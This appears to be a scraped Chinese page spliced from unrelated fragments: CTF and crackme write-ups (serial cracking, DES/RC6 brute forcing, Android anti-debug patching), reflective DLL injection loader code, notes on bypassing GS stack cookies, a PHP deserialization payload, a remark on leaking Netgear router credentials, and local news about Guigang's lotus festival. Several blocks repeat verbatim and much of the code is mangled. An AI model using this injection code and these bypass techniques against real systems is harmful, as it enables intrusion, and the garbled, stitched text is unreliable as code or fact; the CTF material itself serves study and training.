我知道,但那已经是10年前的事了。然后发新贴的按钮还不显示,使用下面的两句可暂时解决:$(.forumlist).html($(.forumlist:firsta).css({color:#ffff00}));$(.breadcrumb).removeClass(hidden-lg-down);(记者张智荣)(责编:张芳、张红璐):0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528,这可能会很容易的发生,特别是使用递归的情况下。 当一个用模式线程转换到UI线程,它会发起一个到USER32或GDI32中API的调用。Amnesia的作者正打算击败基于Linux的恶意软件分析沙箱,并且由于代码中的硬编码字符串(“fxxkwhitehats”)而给安全研究人员带来麻烦。。以招商引资增加项目建设、以项目建设推动招商引资的良性循环正在逐渐形成,贵港招商引资的“洼地效应”日益显现。通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky945282018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。分析上节链接3提示的链接为:,但已经不能下载了。,:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。链表的最后总是默认处理程序,这个默认处理程序的指针总是0xFFFFFFFFGS保护机制:Windows在(VisualStudio2003)及以后版本的VisualStudio中默认启动了一个安全编译选项——GS(针对缓冲区溢出时覆盖函数返回地址这一特征)GS保护机制是在函数即将调用的时候向栈桢压入一个DWORD的随机值,同时也向.data段中存放一个SecurityCookies,1.被压入栈中的随机值位于EBP之前.在.data段中的数据实现栈Cookies的校验2.在函数返回之前,系统将会执行一个额外的安全验证操作,被称作当校验发现栈Cookies和.data的副本不吻合则表明发生溢出4.当检测到栈中发生溢出时,系统接管异常,函数不会被正常返回,ret指令也不会被执行5.当栈中发生溢出时,SecurityCookie将被首先淹没,之后才是EBP和返回地址GS保护机制的实现细节是1系统以.data段的第一个DWORD作为Cookie的种子2每次程序运行时的Cookie的种子都不一样,随机性很强3栈桢初始化完毕后用EBP异或种子,作为当前函数的Cookie,以此区别不同函数,增强Cookie的随机性4在函数返回前,用EBP异或还原出Cookie种子绕过GS安全保护的方案1)通过覆盖SEH链表来阻止系统接管异常处理.2)通过改写C++虚表指针来控制程序流程#msvcrt采用进程堆后失效3)用一些未开启GS安全保护的函数进行溢出(可能是关键字保护)||小于四字节的Buf程序很简单,读取文件来还原溢出场景,我将print函数放在了ReadFile下面,可以看到在ShowFileInfo中Printf函数下面有一个Security_Check_Cookie这就是我们的GS缓冲区检测机制的这个函数,工程项目是realse版本的,在项目属性只开启GS。  据了解,贵港市供销社为农服务落到乡镇,走进农村,走到田间地头。,:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A,这是因为WDEG包含了内置到Windows10中的EMET的功能,所以它成为了平台的一部分。、www.vns888020.com、处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91},此外,组建县级供销社电子商务公司5家,全市系统电子商务销售额1亿多元。在年轻generation收集之前,两个半空间的内存都被提交并分配了适当的标签:包含当前对象集合的页面被称为from-space,而对象被复制到的页面被称为to-space。Payload:要注入的DLL在网上搜索了一些关于DLL注入的资料,发现都没有被注入的DLL的实现,这里首先占用少量篇幅来说明DLL的实现。,zip解压缩apk文件,拿到.dex文件,经过dex2jar,jd-gui反编译拿到java代码,发现被名称混淆了,而且字符串也加密了。我们通过如下的代码得到最终的payload:phpclassHITCON{private$method;private$args;private$conn;publicfunction__construct($method,$args){$this-method=$method;$this-args=$args;}}$args[username]=ORNGE;$args[password]=babytrick1234;$data=newHITCON(login,$args);printurlencode(serialize($data));所以最终的payload为:O%3A6%3A%22HITCON%22%3A3%3A%7Bs%3A14%3A%22%00HITCON%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00HITCON%00args%22%3Ba%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22OR%C3%84NGE%22%3Bs%3A8%3A%22password%22%3Bs%3A13%3A%22babytrick1234%22%3B%7Ds%3A12%3A%22%00HITCON%00conn%22%3BN%3B%7D然后进行提交,最后就可以得到flag了。6月23日,贵港市第四届“美丽贵港·我爱荷城”荷花展开展,800多个品种的6万多盆荷花盆栽及1万多亩连片种植的荷花免费对公众开放。,保存即脱壳成功。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。”来自北京的“房车族”张迎春说。在ida的threads窗口找到当前线程,将其挂起即可,去除反调试功能。贵港以荷花著称,素有“中国荷城”美誉。在上面的代码中,获取函数地址的部分没有具体写,上一篇帖子中详细的说明了获取的过程,差别就是上一篇帖子中需要将RVA转化为文件偏移。LPVOIDlpBuffer=HeapAlloc(GetProcessHeap(),0,dwLength);//创建缓冲区if(ReadFile(hFile,lpBuffer,dwLength,dwBytesRead,NULL)==false)//将DLL数据复制到缓冲区BreakForError("FailedtoreadtheDLLfile");HANDLEhTargetProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);HANDLEhMoudle=LoadRemoteLibraryR(hTargetProcess,lpBuffer,dwLength,NULL);//获取加载器的地址(文件偏移)DWORDdwReflectiveLoaderOffset=GetReflectiveLoaderOffset(lpBuffer);//在目标进程分配内存(RWX)LPVOIDlpRemoteLibraryBuffer=VirtualAllocEx(hProcess,NULL,dwLength,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);//写数据WriteProcessMemory(hProcess,lpRemoteLibraryBuffer,lpBuffer,dwLength,NULL);//线程函数的地址=基地址+文件偏移LPTHREAD_START_ROUTINElpReflectiveLoader=(LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer+dwReflectiveLoaderOffset);//创建远程线程hThread=CreateRemoteThread(hProcess,NULL,1024*1024,lpReflectiveLoader,lpParameter,(DWORD)NULL,dwThreadId);//基址-在Dropper进程中开辟的堆空间的起始地址UINT_PTRuiBaseAddress=(UINT_PTR)lpReflectiveDllBuffer;//得到NT头的文件地址UINT_PTRuiExportDir=(UINT_PTR)uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew;//获得导出表结构体指针的地址UINT_PTRuiNameArray=(UINT_PTR)(((PIMAGE_NT_HEADERS)uiExportDir)-[IMAGE_DIRECTORY_ENTRY_EXPORT]);//该调用中,第一个参数即为导出表结构体映射到内存的相对虚拟地址//结果为找到到导出表结构体的内存地址uiExportDir=uiBaseAddress+Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)-VirtualAddress,uiBaseAddress);//得到导出表名称数组在内存中的地址RVAuiNameArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNames,uiBaseAddress);//得到导出函数地址表在内存中的地址RVAUINT_PTRuiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//得到函数序号地址表在内存中的地址UINT_PTRuiNameOrdinals=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNameOrdinals,uiBaseAddress);//导出函数的数量DWORDdwCounter=((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-NumberOfNames;while(dwCounter--){//这里需要将获取到的各表的RVA转化为各表实际的文件偏移char*cpExportedFunctionName=(char*)(uiBaseAddress+Rva2Offset((*(DWORD*)uiNameArray),uiBaseAddress));if(strstr(cpExportedFunctionName,"ReflectiveLoader")!=NULL){//获取地址表起始地址的实际位置uiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//根据序号找到序号对应的函数地址uiAddressArray+=(*(WORD*)(uiNameOrdinals)*sizeof(DWORD));//返回ReflectiveLoader函数的文件偏移,即函数机器码的起始地址returnRva2Offset((*(DWORD*)uiAddressArray),uiBaseAddress);}uiNameArray+=sizeof(DWORD);uiNameOrdinals+=sizeof(WORD);}DWORDRva2Offset(DWORDdwRva,UINT_PTRuiBaseAddress){//得到nt头在内存中的实际地址PIMAGE_NT_HEADERSpNtHeaders=(PIMAGE_NT_HEADERS)(uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew);//获得节表PIMAGE_SECTION_HEADERpSectionHeader=(PIMAGE_SECTION_HEADER)((UINT_PTR)(pNtHeaders-OptionalHeader)+);//不在任意块内if(dwRvapSectionHeader[0].PointerToRawData)returndwRva;//通过遍历块,来找到相对偏移地址对应的文件偏移地址for(WORDwIndex=0;;wIndex++){if(dwRva=pSectionHeader[wIndex].VirtualAddressdwRva(pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].SizeOfRawData))return(dwRva-pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].PointerToRawData);//\------------------块内偏移-------------------/\-----------块在文件中的偏移------------/}}回想我们注射器实现的过程中所调用的函数,与正常的注入似乎没有太大的区别,而且像CreateRemoteProcess这种危险函数杀软抓的很严,是可以被替换掉的,而且没有发现LoadLibraryA函数。,运行app后使用ida附加,然后对fopen下断点。下面程序进行穷举:importosdeflength(number):n=numberl=0whilen0:n=n/10l+=1returnldefisok(number):res=0n=numberwhilen0:res=res*10+n%10n=n/10ifres==number:return1return0deftest(a):b2=a*9i=0whilei2:b2*=ab2*=9if(isok(b2)==1):print(%d=%d%(a,b2))breaki+=1return0defskip(a):b=1n=awhilen0:if((n%10)==0):a+=bn=n/10b=b*10returnadefmain():printskip(10089000)i=11111111whilei=99999999:i=skip(i)test(i)i+=1printoverreturn0if__name__==__main__:main()输出结果为:需要反向输入,即sn=97654321:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A前8个字符正好是des块长度,也就是说,我们知道了rc6的部分明文和密文,可以通过rc6解密穷举出rc6后4位key和全部rc6的明文。在莲藕产业(核心)示范区内布置长廊,内有荷、茶、壮文化作品幅;绘制“荷文化”、“茶文化”及社会主义核心价值观墙体宣传画;布置荷藕题材主题雕塑,大大提升了“荷城贵港,荷美覃塘”文化品位。用IDA打开,在00408E16修改为0xcc,保存.text::00408E10loc_408E10:CODEXREF:sub_408E00+76:00408E10DATAXREF:sub_408E00+71::00408E11pushoffsetnullsub_:00408E16retn将OD设置为默认调试程序,双击运行程序。,Amnesia的作者正打算击败基于Linux的恶意软件分析沙箱,并且由于代码中的硬编码字符串(“fxxkwhitehats”)而给安全研究人员带来麻烦。。 通过下面两个请求的uri可以泄露账号和密码,美国网件系列默认用户名admin之后的步骤如下:调用栈中的每个条目都称为是栈帧这也是在发生异常时进行堆栈跟踪的方法-这大体上是异常发生时的调用栈的状态。因为对于客户端来说凡是以HTTP开头的变量都是可控的,不论是通过getenv还是通过$_SERVER方式获取。,下面我们解释三种算法:a)单线程Cheney半空间复制GC,b)并行Mark-Evacuate方案,c)并行Scavenger。运行,OD附加前往401000,看着挺像处理代码的下断运行,输入sn后断下(运气挺好)这个应该是初始化luabytecode(看后面字符串,功能应该是xor)0040103D885C2436movbyteptrss:[esp+36],bl0040104188442437movbyteptrss:[esp+37],al00401045C644243807movbyteptrss:[esp+38],70040104A885C2439movbyteptrss:[esp+39],bl...初始化的栈信息0012FA4E0010927C0000000000001B4C4A02023B.抾......LJ;0012FA5E00020700030009360200003902010236....6..960012FA6E03000039030203120400001205010012..9...0012FA7E06010042030400430200000873756209.B.C.. string.0012FA9E00050175360100003901010112020000.u6..9..0012FAAE42010202080100005801028029010000B..X)..0012FABE4C010200360102003901030136020400L.6.96.0012FACE12030000290401004202030229037000..).B)6.96.0012FAEE12040000290502004203030229046500..).B)6.96.0012FB0E12050000290603004204030229056400..).B)6.96.0012FB2E12060000290704004205030229066900..).B)6.96.0012FB4E12070000290805004206030229077900..).B)6.96.0012FB6E12080000290906004207030229083100..)..B)6.96.0012FB8E12090000290A07004208030229093200...)..B).6.96..0012FBAE120A0000290B080042090302290A3300...) .B.).6..9..6..0012FBCE120B0000290C0900420A0302290B3400 ..)...B.) 6..9..6 .0012FBEE120C0000290D0A00420B0302290C3500...)...B ).6 .9  6..0012FC0E120D0000290E0B00420C0302290D3600...) .B.). 6..9..6..0012FC2E120E0000290F0C00420D0302290E3700..)..B.)....0012FC4E12100400121105001212060012130700....0012FC5E121408001215090012160A0012170B00..... .0012FC6E12180C004A0D0D000762790962786F72..J...bitlen string0012FC8E3D030002000600083600000027010100=...6....0012FC9E42000201330002003700030033000400B.3..7..3..0012FCAE370005004B000100096D61696E0007627..K...main.b0012FCBE7900086269740C726571756972650002y.0012FCCE0000FE55F9EAEBD15D00313233343536..㑳胙].1234560012FCDE00000000000000000000000000000000................0012FCEE00000000000000000000000000000000................0012FCFE00000000000000000000000000000000................lua初始化,43Cleaeax,dwordptrss:[esp+3C],380040220E85C0testeax,每个字符(恩,虽然是猜的,但是后面证明猜对了)lua_xor(sn[i])xor05120A2942417561358355940040222C55pushebp00,eax004022376AF5push-0B0040223956pushesi0040223A83F705xoredi,,eax004022446AF6push-0A0040224656pushesi0040224783F312xorebx,,eax004022516AF7push-90040225356pushesi0040225483F50Axorebp,,290040225F6AF8push-80040226156pushesi0040226289442458movdwordptrss:[esp+58],,420040226E6AF9push-70040227056pushesi0040227189442448movdwordptrss:[esp+48],,410040227D6AFApush-60040227F56pushesi0040228089442460movdwordptrss:[esp+60],,750040228C6AFBpush-50040228E56pushesi0040228F89442460movdwordptrss:[esp+60],,400040229B83F061xoreax,610040229E6AFCpush-4004022A056pushesi004022A189442418movdwordptrss:[esp+18],,35004022AD6AFDpush-3004022AF56pushesi004022B089442424movdwordptrss:[esp+24],,83004022BE6AFEpush-2004022C056pushesi004022C189442434movdwordptrss:[esp+34],,55004022CD6AFFpush-1004022CF56pushesi004022D089442444movdwordptrss:[esp+44],,94结果必须为:18161E2F4811213733865294004022F383FF18cmpedi,18004022F67554jnzshort0040234C004022F883FB16cmpebx,16004022FB754Fjnzshort0040234C004022FD83FD1Ecmpebp,1E00402300754Ajnzshort0040234C00402302837C24302Fcmpdwordptr[esp+30],2F004023077543jnzshort0040234C00402309837C241848cmpdwordptr[esp+18],480040230E753Cjnzshort0040234C00402310837C242811cmpdwordptr[esp+28],11004023157535jnzshort0040234C00402317837C242021cmpdwordptr[esp+20],210040231C752Ejnzshort0040234C0040231E837C241037cmpdwordptr[esp+10],37004023237527jnzshort0040234C00402325837C241433cmpdwordptr[esp+14],330040232A7520jnzshort0040234C0040232C817C241C86000cmpdwordptr[esp+1C],86004023347516jnzshort0040234C00402336837C242452cmpdwordptr[esp+24],520040233B750Fjnzshort0040234C0040233D817C242C94000cmpdwordptr[esp+2C],94004023457505jnzshort0040234C004023478D47E9leaeax,dwordptr[edi-17]0040234AEB02jmpshort0040234E0040234C33C0xoreax,eax没看lua代码,直接试了下voidtest(){BYTEkey1[12];//123456789012BYTEbuf1[12]={0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32};//call00412CE0的结果BYTEbuf2[12]={0x41,0x57,0x57,0x5D,0x4C,0x07,0x05,0x0B,0x0D,0x05,0x07,0x05};BYTEkey2[12]={0x05,0x12,0x0A,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94};BYTEexpected[12]={0x18,0x16,0x1E,0x2F,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94};for(inti=0;i12;i++){key1[i]=buf1[i]^buf2[i];}BYTEsn[13]={0};for(inti=0;i12;i++){sn[i]=key1[i]^key2[i]^expected[i];}printf(%s,sn);}maposafe2017通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528。

  市领导李建锋、黄星荣、徐育东一同巡河、调研。其中,贵港“红莲”还是独有的珍稀品种。,这样的cms还有很多,如beecms,appcms。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;